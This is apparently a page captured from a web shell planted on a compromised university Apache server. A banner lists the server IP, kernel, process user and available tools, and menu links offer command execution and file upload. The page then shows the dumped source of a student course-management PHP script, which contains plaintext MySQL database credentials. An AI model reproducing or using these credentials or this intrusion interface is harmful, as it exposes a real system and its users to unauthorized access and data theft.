Server IP : 172.16.15.8 / Your IP : 18.119.125.61 Web Server : Apache System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64 User : apache ( 48) PHP Version : 7.2.24 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home/cngray/www/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
<?php session_start(); if(!isset($_SESSION['username'])){ header("location:BBWelcome.php"); } else { ?> <html> <center> <?php $username = $_SESSION['username']; $pass = $_SESSION['pass']; $check = $_SESSION['check']; $_SESSION['username'] = $username; $_SESSION['pass'] = $pass; $_SESSION['check'] = 2; $host = 'localhost'; $user = 'cngray'; $passwd = 'vwccscngray'; if($check == 1) $course = $_SESSION['course']; else $course = $_POST['course']; $_SESSION['course'] = $course; $database = 'cngray'; $connect = mysqli_connect($host, $user, $passwd); mysqli_select_db($connect, $database); $query = "select * from BBUsers"; $Result_id = mysqli_query($connect, $query); if($Result_id) { if(isset($_POST['ar'])) {?> <script type = "text/javascript"> <!-- window.location = "BBAR.php" --> </script><?php } else if (isset($_POST['ass'])) {?> <script type = "text/javascript"> <!-- window.location = "BBAssign.php" --> </script><?php } } else print "Could not continue<br>"; ?> <br><INPUT Type=button VALUE="Back" onClick="location.href = 'BBCourses.php'"> <?php mysqli_close($connect); } ?>